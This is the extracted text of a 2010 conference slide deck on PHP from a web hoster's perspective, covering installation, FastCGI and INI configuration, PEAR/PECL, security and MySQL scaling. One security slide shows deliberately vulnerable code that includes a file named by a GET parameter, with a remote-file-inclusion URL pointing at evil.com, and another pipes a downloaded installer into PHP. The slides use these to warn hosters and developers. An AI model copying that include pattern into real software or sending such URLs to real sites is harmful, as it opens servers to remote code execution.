SlideShare ist ein Scribd-Unternehmen logo
1 von 74
PHP	
  through	
  the	
  eyes	
  of	
  a	
  hoster
Thijs	
  Feryn
Support	
  manager
+32	
  (0)9	
  218	
  79	
  06
thijs@combellgroup.com
PHP	
  Barcelona	
  Conference
Saturday	
  October	
  30th	
  2010
Barcelona	
  Spain
About	
  me
I’m	
  the	
  support	
  manager	
  at	
  Combell
About	
  me
I’m	
  a	
  board	
  member	
  at	
  PHPBenelux
I	
  live	
  in	
  the	
  wonderful	
  city	
  of	
  Bruges
MPBecker	
  -­‐	
  Bruges	
  by	
  Night	
  hOp://www.flickr.com/photos/galverson2/3715965933
Follow	
  me	
  on	
  Twi0er:	
  @ThijsFeryn
Rate	
  my	
  talk:	
  h0p://joind.in
Read	
  my	
  blog:	
  h0p://blog.feryn.eu
Chapter	
  I	
  :	
  The	
  hoster,	
  a	
  genuine	
  stakeholder	
  in	
  the	
  
PHP	
  universe
Stakeholders
Customer Development	
  company
Endusers MGMT
Internal
IT
Internal
PM
Devs
Sales
MGMT
QA
Design
Systeam
PM
Consultants
Hoster PHP	
  community
Stakeholders
Your	
  app	
  needs	
  to	
  be	
  hosted
Somewhere	
  along	
  the	
  road	
  ...
Goals	
  &	
  moKves
Our	
  goals	
  &	
  mo]ves	
  are	
  the	
  same	
  as	
  yours:
• It	
  has	
  to	
  work
• It	
  has	
  to	
  perform
• It	
  has	
  to	
  scale
• It	
  has	
  to	
  be	
  secure
• It	
  has	
  to	
  be	
  available
Chapter	
  II:	
  InstallaKon	
  &	
  configuraKon
Installing	
  from	
  source
server$	
  ./configure	
  -­‐-­‐prefix=/usr/local/php-­‐5.2.10	
  
-­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs	
  -­‐-­‐
with-­‐zlib	
  -­‐-­‐with-­‐curl	
  -­‐-­‐with-­‐gd	
  -­‐-­‐enable-­‐mbstring	
  
-­‐-­‐with-­‐mysql	
  -­‐-­‐with-­‐mysqli	
  -­‐-­‐enable-­‐pcntl	
  -­‐-­‐with-­‐
pdo-­‐mysql	
  -­‐-­‐with-­‐readline	
  -­‐-­‐enable-­‐soap	
  -­‐-­‐with-­‐xsl	
  
-­‐-­‐with-­‐mcrypt	
  -­‐-­‐with-­‐mssql	
  -­‐-­‐with-­‐snmp	
  -­‐-­‐with-­‐imap	
  
-­‐-­‐with-­‐kerberos	
  -­‐-­‐with-­‐imap-­‐ssl	
  -­‐-­‐with-­‐config-­‐
file-­‐path=/etc/php5/	
  -­‐-­‐enable-­‐sockets	
  -­‐-­‐with-­‐
freetype-­‐dir	
  -­‐-­‐with-­‐openssl	
  
server$	
  make
server$	
  make	
  install
Installing	
  using	
  a	
  package	
  manager	
  (APT/ApKtude)
Install	
  PHP:
Install	
  MySQL	
  library	
  for	
  PHP:
server$	
  apt-­‐get	
  install	
  php5
server$	
  apt-­‐get	
  install	
  php5-­‐mysql
SAPI	
  ...	
  schmapi
Mod_php FastCGI CLI
Web Apache	
  module gateway -­‐
Process Apache	
  process php-­‐cgi php
Configura]on Apache	
  conf	
  files wrapper on	
  the	
  fly
User Apache	
  user
shell	
  user	
  or	
  
suexec	
  user
shell	
  user
FastCGI
Example	
  config:
• Apache	
  handler
	
  	
  <IfModule	
  mod_fcgid.c>
	
  	
  	
  	
  SuexecUserGroup	
  dev	
  dev
	
  	
  	
  	
  PHP_Fix_Pathinfo_Enable	
  1
	
  	
  	
  	
  <Directory	
  /var/www/dev/www/>
	
  	
  	
  	
  	
  	
  Options	
  +ExecCGI
	
  	
  	
  	
  	
  	
  AllowOverride	
  All
	
  	
  	
  	
  	
  	
  AddHandler	
  fcgid-­‐script	
  .php
	
  	
  	
  	
  	
  	
  FCGIWrapper	
  /var/www/dev/etc/fcgi.wrapper	
  .php
	
  	
  	
  	
  	
  	
  Order	
  allow,deny
	
  	
  	
  	
  	
  	
  Allow	
  from	
  all
	
  	
  	
  	
  </Directory>
	
  	
  </IfModule>
FastCGI
Example	
  config:
• Wrapper	
  script
#!/bin/sh
PHPRC=/usr/local/php-­‐5.3.1/etc
export	
  PHPRC
export	
  PHP_FCGI_MAX_REQUESTS=5000
export	
  PHP_FCGI_CHILDREN=8
exec	
  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
INI	
  seQngs:	
  tales	
  of	
  good	
  &	
  evil
INI	
  seQngs:	
  tales	
  of	
  good	
  &	
  evil
Defining	
  INI	
  se<ngs:
• Php.ini
• Ini_set()
• “-­‐d”	
  
• php_value
• php_flag
• php_admin_value
• php_admin_flag
INI	
  seQngs:	
  tales	
  of	
  good	
  &	
  evil
Memory_limit:
Fatal	
  error:	
  Allowed	
  memory	
  size	
  of	
  16777216	
  
bytes	
  exhausted	
  (tried	
  to	
  allocate	
  35	
  bytes)
INI	
  seQngs:	
  tales	
  of	
  good	
  &	
  evil
Safe_mode	
  &	
  Open_basedir:
<IfModule	
  mod_php5.c>
	
  	
  	
  	
  php_admin_flag	
  engine	
  on
	
  	
  	
  	
  php_admin_flag	
  safe_mode	
  off
	
  	
  	
  	
  php_admin_value	
  open_basedir	
  "/var/www/vhosts/
website.com/httpdocs:/tmp"
</IfModule>
INI	
  seQngs:	
  tales	
  of	
  good	
  &	
  evil
Allow_url_fopen:
<?php
$lang= $_GET['lang'];
require("$lang.php");
http://domain.ext/index.php?lang=http://evil.com/hack.txt?
Chapter	
  III:	
  Versions	
  &	
  features
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
PHP	
  4:	
  End	
  of	
  life,	
  but	
  far	
  from	
  dead
Parse	
  error:	
  syntax	
  error,	
  unexpected	
  T_STRING,	
  
expecting	
  T_OLD_FUNCTION	
  or	
  T_FUNCTION	
  or	
  T_VAR	
  
or	
  '}'	
  in	
  test.php	
  on	
  line	
  4
Developers	
  love	
  bling	
  bling
It	
  HAS	
  to	
  be	
  PHP	
  5.3.2	
  !!!
I	
  need	
  ALL	
  PHP	
  extension	
  !!!
I	
  use	
  ALL	
  PHP	
  features	
  !!!
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
PEAR
PHP	
  Extension	
  and	
  Applica]on	
  Repository	
  (h#p//pear.php.net)
server$	
  pear	
  install	
  date
server$	
  lynx	
  -­‐source	
  http://pear.php.net/go-­‐pear	
  |	
  php
Fruit	
  &	
  vegetables:	
  PEAR	
  &	
  PECL
PECL	
  (pickle)
PHP	
  Extension	
  Community	
  Library	
  (h#p//pecl.php.net)
server$	
  pecl	
  install	
  pecl_http
Popular	
  frameworks	
  outside	
  the	
  PHP	
  project
External	
  frameworks
Chapter	
  IV:	
  PHP	
  a0racts	
  a	
  crowd
It’s	
  easy	
  !
That	
  easy	
  !
<?php
echo "Hello world!";
It’s	
  cheap	
  !
It’s	
  stable	
  !
Everyone	
  can	
  be	
  a	
  PHP	
  developer
But	
  not	
  everyone	
  has	
  what	
  it	
  takes
Luckily	
  there’s	
  a	
  lot	
  ready-­‐to-­‐use	
  PHP	
  soiware	
  out	
  there
Who	
  you	
  gonna	
  call	
  ?
But	
  when	
  helpers	
  need	
  help	
  ...
They	
  reach	
  out	
  to	
  the	
  PHP	
  community
Blogs
Forums
User	
  Group	
  mee]ngs
Conferences
PHP.net
TwiOer
IRC
Chapter	
  V:	
  Here	
  be	
  phpirates
Here	
  be	
  phpirates
Fact
“The	
  majority	
  of	
  hacking/absue	
  cases	
  are	
  PHP	
  related”
False	
  assumpKons
“Open	
  source	
  is	
  evil”
“PHP	
  has	
  lots	
  of	
  security	
  vulnerabili]es	
  and	
  is	
  not	
  mature”
Here	
  be	
  phpirates
The	
  real	
  issues
• Quality	
  of	
  the	
  code
• Network	
  &	
  server	
  security
• PHP	
  version	
  &	
  configura]on
ResponsibiliKes
Chapter	
  VI:	
  Scalability
Performance	
  ==	
  speed
Scalability	
  ==	
  constant	
  speed	
  under	
  increasing	
  load
Scaling	
  up
Scaling	
  out
Developers	
  (some2mes)	
  forget	
  ...
Scaling	
  MySQL
mysql>	
  explain	
  SELECT	
  field1,	
  (SELECT	
  COUNT(*)	
  FROM	
  table2	
  WHERE	
  field3	
  =	
  
table1.id)	
  FROM	
  table1	
  WHERE	
  field2	
  =	
  1	
  	
  ORDER	
  BY	
  field4	
  DESC	
  limit	
  
12,12;
***************************	
  1.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  1
	
  	
  select_type:	
  PRIMARY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table1
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  approved
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  approved
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  3143
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where;	
  Using	
  filesort
***************************	
  2.	
  row	
  ***************************
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  id:	
  2
	
  	
  select_type:	
  DEPENDENT	
  SUBQUERY
	
  	
  	
  	
  	
  	
  	
  	
  table:	
  table2
	
  	
  	
  	
  	
  	
  	
  	
  	
  type:	
  ALL
possible_keys:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  key:	
  NULL
	
  	
  	
  	
  	
  	
  key_len:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  ref:	
  NULL
	
  	
  	
  	
  	
  	
  	
  	
  	
  rows:	
  1005
	
  	
  	
  	
  	
  	
  	
  	
  Extra:	
  Using	
  where
mysql>	
  show	
  processlist;
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  Id	
  	
  	
  	
  |	
  User	
  |	
  Host	
  	
  	
  	
  	
  	
  |	
  db	
  |	
  Command	
  |	
  Time	
  |	
  State	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  Info	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
|
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
|	
  63515	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  show	
  
processlist	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
|	
  81763	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Sleep	
  	
  	
  |	
  	
  105	
  |	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  NULL	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  
|
|	
  85187	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sending	
  data	
  	
  	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field	
  =	
  'val'	
  	
  |
|	
  82701	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Copying	
  to	
  tmp	
  table	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  field='val2'	
  	
  	
  |
|	
  82709	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Sorting	
  result	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someTable	
  where	
  order	
  by	
  field	
  |
|	
  82716	
  |	
  root	
  |	
  localhost	
  |	
  db	
  |	
  Query	
  	
  	
  |	
  	
  	
  	
  0	
  |	
  Opening	
  tables	
  	
  	
  	
  	
  	
  	
  |	
  SELECT	
  
data	
  from	
  someOtherTable	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  	
  |
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐
+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
Scaling	
  MySQL	
  with	
  replicaKon
PHP	
  scalability	
  toolbox
Memcached
Gearman
Varnish
Summary
Summary
1.Hosters	
  are	
  a	
  genuine	
  stakeholder	
  in	
  the	
  PHP	
  universe
2.PHP	
  is	
  highly	
  flexible	
  &	
  configurable.	
  Hosters	
  have	
  to	
  ensure	
  a	
  decent	
  
setup
3.PHP	
  has	
  a	
  lot	
  to	
  offer	
  feature-­‐wise
4.PHP	
  aOracts	
  a	
  crowd	
  and	
  brings	
  a	
  lot	
  of	
  people	
  together	
  from	
  
different	
  industries	
  (e.g.	
  hosters)
5.Lots	
  of	
  abuse	
  cases	
  are	
  PHP	
  related,	
  but	
  that’s	
  not	
  the	
  fault	
  of	
  PHP	
  
itself
6.PHP	
  itself	
  doesn’t	
  scale	
  *that*	
  well,	
  but	
  is	
  flexible	
  enough	
  to	
  ensure	
  
scalability	
  via	
  extra	
  tools
Q&A

Weitere ähnliche Inhalte

Was ist angesagt?

The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4Wim Godden
 
What's new in PHP 5.5
What's new in PHP 5.5What's new in PHP 5.5
What's new in PHP 5.5Tom Corrigan
 
PHP Tips for certification - OdW13
PHP Tips for certification - OdW13PHP Tips for certification - OdW13
PHP Tips for certification - OdW13julien pauli
 
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHP
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHPIPC2010SE Doctrine2 Enterprise Persistence Layer for PHP
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHPGuilherme Blanco
 
Machine learning in php php con poland
Machine learning in php   php con polandMachine learning in php   php con poland
Machine learning in php php con polandDamien Seguy
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsMark Baker
 
Introducing PHP Latest Updates
Introducing PHP Latest UpdatesIntroducing PHP Latest Updates
Introducing PHP Latest UpdatesIftekhar Eather
 
The why and how of moving to PHP 5.4/5.5
The why and how of moving to PHP 5.4/5.5The why and how of moving to PHP 5.4/5.5
The why and how of moving to PHP 5.4/5.5Wim Godden
 
Test in action week 3
Test in action   week 3Test in action   week 3
Test in action week 3Yi-Huan Chan
 
PHP 7 - A look at the future
PHP 7 - A look at the futurePHP 7 - A look at the future
PHP 7 - A look at the futureRadu Murzea
 
PHP7 - A look at the future
PHP7 - A look at the futurePHP7 - A look at the future
PHP7 - A look at the futureRadu Murzea
 
The why and how of moving to php 5.4/5.5
The why and how of moving to php 5.4/5.5The why and how of moving to php 5.4/5.5
The why and how of moving to php 5.4/5.5Wim Godden
 
TWIG: the flexible, fast and secure template language for PHP
TWIG: the flexible, fast and secure template language for PHPTWIG: the flexible, fast and secure template language for PHP
TWIG: the flexible, fast and secure template language for PHPCesare D'Amico
 
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.Graham Dumpleton
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Elizabeth Smith
 
Php7 HHVM and co
Php7 HHVM and coPhp7 HHVM and co
Php7 HHVM and coweltling
 
Unit testing PHP apps with PHPUnit
Unit testing PHP apps with PHPUnitUnit testing PHP apps with PHPUnit
Unit testing PHP apps with PHPUnitMichelangelo van Dam
 
Implementing a decorator for thread synchronisation.
Implementing a decorator for thread synchronisation.Implementing a decorator for thread synchronisation.
Implementing a decorator for thread synchronisation.Graham Dumpleton
 

Was ist angesagt? (20)

The why and how of moving to php 5.4
The why and how of moving to php 5.4The why and how of moving to php 5.4
The why and how of moving to php 5.4
 
What's new in PHP 5.5
What's new in PHP 5.5What's new in PHP 5.5
What's new in PHP 5.5
 
PHP Tips for certification - OdW13
PHP Tips for certification - OdW13PHP Tips for certification - OdW13
PHP Tips for certification - OdW13
 
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHP
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHPIPC2010SE Doctrine2 Enterprise Persistence Layer for PHP
IPC2010SE Doctrine2 Enterprise Persistence Layer for PHP
 
Machine learning in php php con poland
Machine learning in php   php con polandMachine learning in php   php con poland
Machine learning in php php con poland
 
Zephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensionsZephir - A Wind of Change for writing PHP extensions
Zephir - A Wind of Change for writing PHP extensions
 
Introducing PHP Latest Updates
Introducing PHP Latest UpdatesIntroducing PHP Latest Updates
Introducing PHP Latest Updates
 
Python Programming Essentials - M17 - Functions
Python Programming Essentials - M17 - FunctionsPython Programming Essentials - M17 - Functions
Python Programming Essentials - M17 - Functions
 
The why and how of moving to PHP 5.4/5.5
The why and how of moving to PHP 5.4/5.5The why and how of moving to PHP 5.4/5.5
The why and how of moving to PHP 5.4/5.5
 
Test in action week 3
Test in action   week 3Test in action   week 3
Test in action week 3
 
PHP 7 - A look at the future
PHP 7 - A look at the futurePHP 7 - A look at the future
PHP 7 - A look at the future
 
PHP7 - A look at the future
PHP7 - A look at the futurePHP7 - A look at the future
PHP7 - A look at the future
 
The why and how of moving to php 5.4/5.5
The why and how of moving to php 5.4/5.5The why and how of moving to php 5.4/5.5
The why and how of moving to php 5.4/5.5
 
TWIG: the flexible, fast and secure template language for PHP
TWIG: the flexible, fast and secure template language for PHPTWIG: the flexible, fast and secure template language for PHP
TWIG: the flexible, fast and secure template language for PHP
 
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.
Hear no evil, see no evil, patch no evil: Or, how to monkey-patch safely.
 
Streams, sockets and filters oh my!
Streams, sockets and filters oh my!Streams, sockets and filters oh my!
Streams, sockets and filters oh my!
 
Php7 HHVM and co
Php7 HHVM and coPhp7 HHVM and co
Php7 HHVM and co
 
C Tutorials
C TutorialsC Tutorials
C Tutorials
 
Unit testing PHP apps with PHPUnit
Unit testing PHP apps with PHPUnitUnit testing PHP apps with PHPUnit
Unit testing PHP apps with PHPUnit
 
Implementing a decorator for thread synchronisation.
Implementing a decorator for thread synchronisation.Implementing a decorator for thread synchronisation.
Implementing a decorator for thread synchronisation.
 

Andere mochten auch

1周遅れのScala入学 #nds41
1周遅れのScala入学 #nds411周遅れのScala入学 #nds41
1周遅れのScala入学 #nds41Kazumune Katagiri
 
WordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowWordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowMo Jangda
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i DiversitatNuria Alart
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroMrs. McCabe
 
Neil's Birthday Present
Neil's Birthday PresentNeil's Birthday Present
Neil's Birthday Presentecksteins
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Combell NV
 
Lista de Graduação Profissional 510
Lista de Graduação Profissional 510Lista de Graduação Profissional 510
Lista de Graduação Profissional 510Pedro França
 
Lista unitária graduação afd 1194
Lista unitária graduação afd 1194Lista unitária graduação afd 1194
Lista unitária graduação afd 1194Pedro França
 
The Really Smelly Prince
The Really Smelly PrinceThe Really Smelly Prince
The Really Smelly PrinceMrs. McCabe
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"Veronicavm
 
Fall Into Reading With Four Blocks
Fall Into Reading With Four BlocksFall Into Reading With Four Blocks
Fall Into Reading With Four BlocksCheryl Dick
 

Andere mochten auch (20)

L‘Harmony_Report
L‘Harmony_ReportL‘Harmony_Report
L‘Harmony_Report
 
1周遅れのScala入学 #nds41
1周遅れのScala入学 #nds411周遅れのScala入学 #nds41
1周遅れのScala入学 #nds41
 
King And Tub
King And TubKing And Tub
King And Tub
 
Paris
ParisParis
Paris
 
WordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial WorkflowWordCamp Toronto 2011 - Managing Your Editorial Workflow
WordCamp Toronto 2011 - Managing Your Editorial Workflow
 
Avaluació i Diversitat
Avaluació i DiversitatAvaluació i Diversitat
Avaluació i Diversitat
 
The Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-DaroThe Tragic Story of Mohenjo-Daro
The Tragic Story of Mohenjo-Daro
 
Paris
ParisParis
Paris
 
Neil's Birthday Present
Neil's Birthday PresentNeil's Birthday Present
Neil's Birthday Present
 
Blogger Sofrasi Sunum
Blogger Sofrasi SunumBlogger Sofrasi Sunum
Blogger Sofrasi Sunum
 
Kepler04012010
Kepler04012010Kepler04012010
Kepler04012010
 
Perfect Prescriptions
Perfect PrescriptionsPerfect Prescriptions
Perfect Prescriptions
 
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
Zo maakt u klanten via Internet en Sociale Media 2011-10-18 Deel 2
 
Lista de Graduação Profissional 510
Lista de Graduação Profissional 510Lista de Graduação Profissional 510
Lista de Graduação Profissional 510
 
Lista unitária graduação afd 1194
Lista unitária graduação afd 1194Lista unitária graduação afd 1194
Lista unitária graduação afd 1194
 
The Really Smelly Prince
The Really Smelly PrinceThe Really Smelly Prince
The Really Smelly Prince
 
Innovation x
Innovation xInnovation x
Innovation x
 
Conte \"La Castanyera\"
Conte \"La Castanyera\"Conte \"La Castanyera\"
Conte \"La Castanyera\"
 
Fall Into Reading With Four Blocks
Fall Into Reading With Four BlocksFall Into Reading With Four Blocks
Fall Into Reading With Four Blocks
 
Multitasquesweb
MultitasqueswebMultitasquesweb
Multitasquesweb
 

Ähnlich wie Php through the eyes of a hoster pbc10

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Combell NV
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hosterCombell NV
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confooCombell NV
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Combell NV
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshopjulien pauli
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangLyon Yang
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php confHash Lin
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Orange Tsai
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshopjulien pauli
 
Python and Oracle : allies for best of data management
Python and Oracle : allies for best of data managementPython and Oracle : allies for best of data management
Python and Oracle : allies for best of data managementLaurent Leturgez
 
Meet a parallel, asynchronous PHP world
Meet a parallel, asynchronous PHP worldMeet a parallel, asynchronous PHP world
Meet a parallel, asynchronous PHP worldSteve Maraspin
 
PHP & Performance
PHP & PerformancePHP & Performance
PHP & Performance毅 吕
 
Php Inside - confoo 2011 - Derick Rethans
Php Inside -  confoo 2011 - Derick RethansPhp Inside -  confoo 2011 - Derick Rethans
Php Inside - confoo 2011 - Derick RethansBachkoutou Toutou
 
Lares from LOW to PWNED
Lares from LOW to PWNEDLares from LOW to PWNED
Lares from LOW to PWNEDChris Gates
 
TIAD - DYI: A simple orchestrator built step by step
TIAD - DYI: A simple orchestrator built step by stepTIAD - DYI: A simple orchestrator built step by step
TIAD - DYI: A simple orchestrator built step by stepThe Incredible Automation Day
 
php & performance
 php & performance php & performance
php & performancesimon8410
 
Php training100%placement-in-mumbai
Php training100%placement-in-mumbaiPhp training100%placement-in-mumbai
Php training100%placement-in-mumbaivibrantuser
 
Heavy Web Optimization: Backend
Heavy Web Optimization: BackendHeavy Web Optimization: Backend
Heavy Web Optimization: BackendVõ Duy Tuấn
 

Ähnlich wie Php through the eyes of a hoster pbc10 (20)

Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11Php through the eyes of a hoster phpbnl11
Php through the eyes of a hoster phpbnl11
 
Php through the eyes of a hoster
Php through the eyes of a hosterPhp through the eyes of a hoster
Php through the eyes of a hoster
 
Php through the eyes of a hoster confoo
Php through the eyes of a hoster confooPhp through the eyes of a hoster confoo
Php through the eyes of a hoster confoo
 
Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10Php through the eyes of a hoster: PHPNW10
Php through the eyes of a hoster: PHPNW10
 
Php extensions workshop
Php extensions workshopPhp extensions workshop
Php extensions workshop
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Orange@php conf
Orange@php confOrange@php conf
Orange@php conf
 
Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧Security in PHP - 那些在滲透測試的小技巧
Security in PHP - 那些在滲透測試的小技巧
 
Php7 extensions workshop
Php7 extensions workshopPhp7 extensions workshop
Php7 extensions workshop
 
Php extensions
Php extensionsPhp extensions
Php extensions
 
Python and Oracle : allies for best of data management
